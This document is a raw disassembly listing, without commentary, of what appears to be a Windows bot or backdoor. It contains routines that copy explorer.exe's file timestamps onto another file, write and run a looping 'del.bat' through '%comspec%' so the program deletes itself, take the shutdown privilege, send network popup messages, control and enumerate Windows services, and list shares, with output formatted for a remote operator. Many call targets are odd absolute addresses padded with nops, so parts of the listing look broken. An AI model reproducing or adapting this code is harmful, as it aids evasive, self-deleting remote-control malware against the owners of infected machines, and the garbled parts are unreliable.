=============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 28106F2h nop push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2810000h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26B0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27108ABh mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2700000h push edi nop call near ptr 2670822h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2690E9Eh nop push eax nop call near ptr 2680000h lea eax, [ebp+var_15C] push eax call near ptr 2690DA5h nop cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax call near ptr 2690C70h nop loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call near ptr 2820000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2670B1Dh loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E049Bh cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_438984 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call near ptr 26908FFh nop push eax push offset unk_43895C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43892C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E049Bh cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26C0000h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26C0368h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi call near ptr 27A04A6h nop mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26A0617h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389A8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389A4[esi] push offset unk_438AB8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A8C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A0[eax*4] push offset unk_438A68 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 26908FFh mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 call near ptr 26908FFh nop mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 26908FFh mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD nop call near ptr 26908FFh cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A0[eax*4] push offset unk_43904C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A4[eax*4] push offset dword_439030 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_43900C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439098 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A4[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A0[eax*4] push offset unk_439120 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- 